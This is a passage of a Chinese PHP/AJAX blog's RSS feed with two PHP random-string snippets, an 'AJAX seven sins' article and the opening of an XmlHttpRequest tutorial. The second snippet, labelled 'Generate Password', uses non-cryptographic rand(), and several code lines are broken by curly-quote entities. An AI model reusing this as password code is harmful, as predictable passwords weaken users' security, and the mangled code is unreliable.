	标签Tags：<a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%A4%B1%E8%B4%A5" title="失败" rel="tag">失败</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题 (2010年07月26日)">最令PHP初学者头痛的十四个问题</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介 (2010年07月26日)">PHP和Socket简介</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索 (2010年05月23日)">mysql优化及全文搜索</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解 (2010年05月23日)">Rsync详解</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤 (2010年07月26日)">PHP安全之数据过滤</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/requireeecludexi.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP生成随机字符串</title>
		<link>http://www.5bay.cn/network-programming/phpeeeeee-3.html</link>
		<comments>http://www.5bay.cn/network-programming/phpeeeeee-3.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:54:37 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[实例]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=486</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeeeeee-3.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>PHP生成随机字符串的函数，下面是我在网上找到的2个关于PHP随机字符串的函数，希望大家喜欢。
第一个实例
< ?php
function genRandomString($len)
{
$chars = array(
"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k",
"l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v",
"w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G",
"H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R",
"S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2",
"3", [...]]]></description>
			<content:encoded><![CDATA[<p>PHP生成随机字符串的函数，下面是我在网上找到的2个关于PHP随机字符串的函数，希望大家喜欢。<br />
第一个实例<br />
< ?php<br />
function genRandomString($len)<br />
{<br />
$chars = array(<br />
"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k",<br />
"l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v",<br />
"w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G",<br />
"H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R",<br />
"S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2",<br />
"3", "4", "5", "6", "7", "8", "9"<br />
);<br />
$charsLen = count($chars) - 1;<br />
shuffle($chars); // 将数组打乱<br />
$output = "";<br />
for ($i=0; $i<$len; $i++)<br />
{<br />
$output .= $chars[mt_rand(0, $charsLen)];<br />
}<br />
return $output;<br />
} </p>
<p>$str = genRandomString(25);<br />
$str .= "<br />&#8220;;<br />
$str .= genRandomString(25);<br />
$str .= &#8220;<br />&#8220;;<br />
$str .= genRandomString(25);<br />
echo $str;<br />
?></p>
<p>第二个示例<br />
<?php<br />
/* Generate Password<br />
* Length : 8<br />
*/<br />
$str = "0123456789abcdefghijklmnopqrstuvwxyz"; // 输出字符集<br />
$n = 8; // 输出串长度<br />
$len = strlen($str)-1;<br />
for($j=0 ; $j<200 ; $j++){<br />
for($i=0 ; $i<$n; $i++){<br />
$s .= $str[rand(0,$len)];<br />
}<br />
echo $s . "<br/>&#8220;;<br />
$s = &#8220;&#8221;;<br />
}</p>
<p>?></p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/requireeecludexi.html" title="require和include的异同">require和include的异同</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (9)</li><li>2007年01月7日 -- <a href="http://www.5bay.cn/network-programming/php/php%E4%B8%80%E4%BA%9B%E9%98%B2%E6%B3%A8%E5%85%A5%E5%87%BD%E6%95%B0.html" title="PHP一些防注入函数 ">PHP一些防注入函数 </a> (0)</li><li>2006年12月27日 -- <a href="http://www.5bay.cn/network-programming/php/php%E8%AF%BB%E5%8F%96%E6%9F%90%E7%AB%99%E7%82%B9%E7%9A%84%E9%93%BE%E6%8E%A5%E7%9A%84%E5%87%BD%E6%95%B0.html" title="PHP读取某站点的链接的函数">PHP读取某站点的链接的函数</a> (1)</li><li>2006年12月27日 -- <a href="http://www.5bay.cn/network-programming/php/%E4%B8%80%E4%B8%AA%E5%A5%BD%E7%94%A8%E7%9A%84%E5%88%86%E9%A1%B5%E5%87%BD%E6%95%B0.html" title="一个好用的分页函数">一个好用的分页函数</a> (0)</li><li>2006年12月27日 -- <a href="http://www.5bay.cn/network-programming/php/%E4%B8%80%E4%BA%9B%E5%B8%B8%E7%94%A8%E7%9A%84php%E5%87%BD%E6%95%B0.html" title="一些常用的php函数">一些常用的php函数</a> (0)</li><li>2006年12月27日 -- <a href="http://www.5bay.cn/network-programming/php/%E4%B8%80%E4%BA%9B%E5%B8%B8%E7%94%A8%E7%9A%84php%E5%87%BD%E6%95%B0.html" title="一些常用的php函数">一些常用的php函数</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/ep.html" title="让IIS只监听指定IP">让IIS只监听指定IP</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%AE%9E%E4%BE%8B" title="实例" rel="tag">实例</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介 (2010年07月26日)">PHP和Socket简介</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题 (2010年07月26日)">深入探讨PHP中的内存管理问题</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/php/%E4%B8%80%E4%BA%9B%E5%B8%B8%E7%94%A8%E7%9A%84php%E5%87%BD%E6%95%B0.html" title="一些常用的php函数 (2006年12月27日)">一些常用的php函数</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/php/%E4%B8%80%E4%BA%9B%E5%B8%B8%E7%94%A8%E7%9A%84php%E5%87%BD%E6%95%B0.html" title="一些常用的php函数 (2006年12月27日)">一些常用的php函数</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/php/%E4%B8%80%E4%B8%AA%E5%A5%BD%E7%94%A8%E7%9A%84%E5%88%86%E9%A1%B5%E5%87%BD%E6%95%B0.html" title="一个好用的分页函数 (2006年12月27日)">一个好用的分页函数</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/phpeeeeee-3.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AJAX应用程序开发七宗罪</title>
		<link>http://www.5bay.cn/network-programming/ajaxeeaoe.html</link>
		<comments>http://www.5bay.cn/network-programming/ajaxeeaoe.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:53:25 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[dhtml]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[新手]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[更新]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[自身]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=484</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>AJAX bandwagon是个好去处。它带给你更快、更高效、更强动态的应用。但它也有自身的缺陷。
初一看，具备一些常识似乎就能避免这些缺陷，在一定程度上，的确如此。但从DHTML起源来看，AJAX应用程序充满了结构性差异。不论你在应用程序开发工作中掌握了多少常识，从别人犯的错误中吸取教训也是有好处的。我们称这些错误为“七宗死罪”，但它们不能代表全部的错误。
事实上，在你犯这些致命过失之前，你可能首先犯了一些较轻的错误。因此我们从这里着手。这是每个人都可能犯的错误。这些错误是多么普遍，通过Google搜索一下，你就可以发现大部分的错误。

七宗轻罪
1．滥用Back按钮—这是每个人都会犯的错误。Back按钮在很多网页程序中已经成为用户的期望。很多AJAX研发新手在开发AJAX应用程序时，出于多种原因都敏捷地使用着Back按钮。首先，JavaScript对于它来说不是最友好的语言；其次，AJAX设计中需要一种全新的思考方式。
对于AJAX 研发新手“后退”显然不是最好的选择。“后退”是一种你更新页面，或更常见的，你需要在特定情况下进行“撤销”时才用到的功能。在进行编码前应认识到这些，或者你可能重复做功。
2．忘记告诉用户当前发生的状况—AJAX工作原理中的一部分是其不使用常规的网页用户界面加载程序。因此，你需要明确设计一些可视的提示，使用户了解正在发生的状况。
3．忽视链接—这也是AJAX的标准失误：漏做了程序外部用户可以剪贴的URL链接。我们都曾经多少次复制过URL链接然后将其发送给别人？当你在使用AJAX 时，提供给你的用户有用URL链接的唯一方法是，手动提供给他们。为什么？因为在AJAX程序中，服务器不提供JavaScript动态生成的这个页面！不要忽视你的用户可能感兴趣的这个网络应用中最普通的功能。既然服务器不支持，那你花点功夫为用户提供URLs。
4．用内容控制替代控制—如果你正在寻找动态的内容控制，那么对传统的客户服务器交互作用的突破对你来说可是件好事。但这也是一项罪过：在重写一个页面的某精确位置上的内容以调整用户的交互式体验时确实确实能够很好的控制，但这也将使你的页面不完整。通常，我们专注于处理页面的某一部分，而忘记服务器不刷新页面。这会导致页面凌乱，用户体验降低，当他们察看页面时可能看到过时的页面!把你的注意力放在整个页面; 确保出现动态页面的内容都得到更新。
5.累死蜘蛛 –AJAX的优势在于无需重装就可以提供给页面的大量的文本；AJAX的缺陷在于无需重装就可以提供给页面的大量的文本。如果应用被设置为对搜索引擎友好，那么，你能够想象会出现什么情况。无论页面中出现了什么，请务必在最上面植入足够稳定的文本，为蜘蛛们去玩耍吧。
产生乱码文本—AJAX不支持很多字符集。这不是涉及生死的局限性，但忘记它能够产生真的问题。最基本的字符集是UTF-8。不论JavaScript发送什么，别忘记正确地编码，并且根据内容设置服务器端的字符集。
没有为使用不支持JavaScript的浏览器的用户提供提示&#8211;有些浏览器不支持JavaScript，用户一时不能明白出了什么状况。请给他们提供提示。
实话实说，其中大部分是常识性问题。真正的问题都很容易让人忽视的。
相关博文2010年07月26日 -- ajax的缺点 (0)2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- Ajax的工作原理 (0)2010年05月23日 -- 《高性能网站建设指南》读书笔记 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- AJAX的各种控件和类库 (0)2010年07月26日 -- XMLHTTP对象封装技术 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)2008年10月17日 -- 以人为本，美术资源的归档 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- AJAX初学:IE缓存页面的问题 (0)2010年05月23日 -- Rsync详解 (0)2008年10月17日 -- 游戏中的货币 (0)
	标签Tags：ajax, dhtml, google, html, javascript, [...]]]></description>
			<content:encoded><![CDATA[<p>AJAX bandwagon是个好去处。它带给你更快、更高效、更强动态的应用。但它也有自身的缺陷。</p>
<p>初一看，具备一些常识似乎就能避免这些缺陷，在一定程度上，的确如此。但从DHTML起源来看，AJAX应用程序充满了结构性差异。不论你在应用程序开发工作中掌握了多少常识，从别人犯的错误中吸取教训也是有好处的。我们称这些错误为“七宗死罪”，但它们不能代表全部的错误。</p>
<p>事实上，在你犯这些致命过失之前，你可能首先犯了一些较轻的错误。因此我们从这里着手。这是每个人都可能犯的错误。这些错误是多么普遍，通过Google搜索一下，你就可以发现大部分的错误。<br />
<span id="more-484"></span><br />
七宗轻罪</p>
<p>1．滥用Back按钮—这是每个人都会犯的错误。Back按钮在很多网页程序中已经成为用户的期望。很多AJAX研发新手在开发AJAX应用程序时，出于多种原因都敏捷地使用着Back按钮。首先，JavaScript对于它来说不是最友好的语言；其次，AJAX设计中需要一种全新的思考方式。</p>
<p>对于AJAX 研发新手“后退”显然不是最好的选择。“后退”是一种你更新页面，或更常见的，你需要在特定情况下进行“撤销”时才用到的功能。在进行编码前应认识到这些，或者你可能重复做功。</p>
<p>2．忘记告诉用户当前发生的状况—AJAX工作原理中的一部分是其不使用常规的网页用户界面加载程序。因此，你需要明确设计一些可视的提示，使用户了解正在发生的状况。</p>
<p>3．忽视链接—这也是AJAX的标准失误：漏做了程序外部用户可以剪贴的URL链接。我们都曾经多少次复制过URL链接然后将其发送给别人？当你在使用AJAX 时，提供给你的用户有用URL链接的唯一方法是，手动提供给他们。为什么？因为在AJAX程序中，服务器不提供JavaScript动态生成的这个页面！不要忽视你的用户可能感兴趣的这个网络应用中最普通的功能。既然服务器不支持，那你花点功夫为用户提供URLs。</p>
<p>4．用内容控制替代控制—如果你正在寻找动态的内容控制，那么对传统的客户服务器交互作用的突破对你来说可是件好事。但这也是一项罪过：在重写一个页面的某精确位置上的内容以调整用户的交互式体验时确实确实能够很好的控制，但这也将使你的页面不完整。通常，我们专注于处理页面的某一部分，而忘记服务器不刷新页面。这会导致页面凌乱，用户体验降低，当他们察看页面时可能看到过时的页面!把你的注意力放在整个页面; 确保出现动态页面的内容都得到更新。</p>
<p>5.累死蜘蛛 –AJAX的优势在于无需重装就可以提供给页面的大量的文本；AJAX的缺陷在于无需重装就可以提供给页面的大量的文本。如果应用被设置为对搜索引擎友好，那么，你能够想象会出现什么情况。无论页面中出现了什么，请务必在最上面植入足够稳定的文本，为蜘蛛们去玩耍吧。</p>
<p>产生乱码文本—AJAX不支持很多字符集。这不是涉及生死的局限性，但忘记它能够产生真的问题。最基本的字符集是UTF-8。不论JavaScript发送什么，别忘记正确地编码，并且根据内容设置服务器端的字符集。<br />
没有为使用不支持JavaScript的浏览器的用户提供提示&#8211;有些浏览器不支持JavaScript，用户一时不能明白出了什么状况。请给他们提供提示。<br />
实话实说，其中大部分是常识性问题。真正的问题都很容易让人忽视的。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html" title="AJAX初学:IE缓存页面的问题">AJAX初学:IE缓存页面的问题</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81.html" title="游戏中的货币">游戏中的货币</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/dhtml" title="dhtml" rel="tag">dhtml</a>, <a href="http://www.5bay.cn/tag/google" title="google" rel="tag">google</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/category/network-programming/javascript-ajax" title="JavaScript&amp;Ajax" rel="tag">JavaScript&amp;Ajax</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%96%B0%E6%89%8B" title="新手" rel="tag">新手</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%9B%B4%E6%96%B0" title="更新" rel="tag">更新</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%87%AA%E8%BA%AB" title="自身" rel="tag">自身</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点 (2010年07月26日)">ajax的缺点</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术 (2010年07月26日)">基于JSON的高级AJAX开发技术</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误 (2010年07月26日)">使用Ajax时的十个常犯的错误</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理 (2010年07月26日)">Ajax的工作原理</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记 (2010年05月23日)">《高性能网站建设指南》读书笔记</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/ajaxeeaoe.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ajax的工作原理</title>
		<link>http://www.5bay.cn/network-programming/ajaxeeee.html</link>
		<comments>http://www.5bay.cn/network-programming/ajaxeeee.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:50:59 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[status]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[xmlhttp]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[兼容]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[分页]]></category>
		<category><![CDATA[容器]]></category>
		<category><![CDATA[对象]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[常用]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[引入]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[更新]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[节点]]></category>
		<category><![CDATA[表格]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[说明]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=482</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajaxeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Ajax的核心是JavaScript对象 XmlHttpRequest。该对象在Internet Explorer 5中首次引入，它是一种支持异步请求的技术。简而言之，XmlHttpRequest使您可以使用JavaScript向服务器提出请求并处理响应，而不阻塞用户。 
　　在创建Web站点时，在客户端执行屏幕更新为用户提供了很大的灵活性。下面是使用Ajax可以完成的功能： 
* 动态更新购物车的物品总数，无需用户单击Update并等待服务器重新发送整个页面。
* 提升站点的性能，这是通过减少从服务器下载的数据量而实现的。例如，在Amazon的购物车页面，当更新篮子中的一项物品的数量时，会重新载入整个页面，这必须下载32K的数据。如果使用Ajax计算新的总量，服务器只会返回新的总量值，因此所需的带宽仅为原来的百分之一。
* 消除了每次用户输入时的页面刷新。例如，在Ajax中，如果用户在分页列表上单击Next，则服务器数据只刷新列表而不是整个页面。
* 直接编辑表格数据，而不是要求用户导航到新的页面来编辑数据。对于Ajax，当用户单击Edit时，可以将静态表格刷新为内容可编辑的表格。用户单击Done之后，就可以发出一个Ajax请求来更新服务器，并刷新表格，使其包含静态、只读的数据。
　　一切皆有可能！但愿它能够激发您开始开发自己的基于Ajax的站点。然而，在开始之前，让我们介绍一个现有的Web站点，它遵循传统的提交/等待/重新显示的范例，我们还将讨论Ajax如何提升用户体验。 
原始的Ajax：直接使用XmlHttpRequest 
　　如上所述，Ajax的核心是JavaScript对象XmlHttpRequest。下面的示例文章评价系统将带您熟悉Ajax的底层基本知识：http://tearesolutions.com/ajax-demo/raw-ajax.html。注：如果您已经在本地WebLogic容器中安装了ajax-demo.war，可以导航到http://localhost:7001/ajax-demo/raw-ajax.html， 
　　浏览应用程序，参与投票，并亲眼看它如何运转。熟悉了该应用程序之后，继续阅读，进一步了解其工作原理细节。
　　首先，您拥有一些简单的定位点标记，它连接到一个JavaScriptcastVote(rank)函数。 
function castVote(rank) {
var url = &#8220;/ajax-demo/static-article-ranking.html&#8221;;
var callback = processAjaxResponse;
executeXhr(callback, url);
} 
　　该函数为您想要与之通信的服务器资源创建一个URL并调用内部函数executeXhr，提供一个回调JavaScript函数，一旦服务器响应可用，该函数就被执行。由于我希望它运行在一个简单的Apache环境中，“cast vote URL”只是一个简单的HTML页面。在实际情况中，被调用的URL将记录票数并动态地呈现包含投票总数的响应。
　　下一步是发出一个XmlHttpRequest请求： 
function executeXhr(callback, url) {
// branch for native XMLHttpRequest object
if (window.XMLHttpRequest) {
req = new XMLHttpRequest();
req.onreadystatechange = callback;
req.open(&#8220;GET&#8221;, url, true);
req.send(null);
} // branch for IE/Windows ActiveX version
else if (window.ActiveXObject) {
req = new [...]]]></description>
			<content:encoded><![CDATA[<p>Ajax的核心是JavaScript对象 XmlHttpRequest。该对象在Internet Explorer 5中首次引入，它是一种支持异步请求的技术。简而言之，XmlHttpRequest使您可以使用JavaScript向服务器提出请求并处理响应，而不阻塞用户。 </p>
<p>　　在创建Web站点时，在客户端执行屏幕更新为用户提供了很大的灵活性。下面是使用Ajax可以完成的功能： </p>
<p>* 动态更新购物车的物品总数，无需用户单击Update并等待服务器重新发送整个页面。<br />
* 提升站点的性能，这是通过减少从服务器下载的数据量而实现的。例如，在Amazon的购物车页面，当更新篮子中的一项物品的数量时，会重新载入整个页面，这必须下载32K的数据。如果使用Ajax计算新的总量，服务器只会返回新的总量值，因此所需的带宽仅为原来的百分之一。<br />
* 消除了每次用户输入时的页面刷新。例如，在Ajax中，如果用户在分页列表上单击Next，则服务器数据只刷新列表而不是整个页面。<br />
* 直接编辑表格数据，而不是要求用户导航到新的页面来编辑数据。对于Ajax，当用户单击Edit时，可以将静态表格刷新为内容可编辑的表格。用户单击Done之后，就可以发出一个Ajax请求来更新服务器，并刷新表格，使其包含静态、只读的数据。<br />
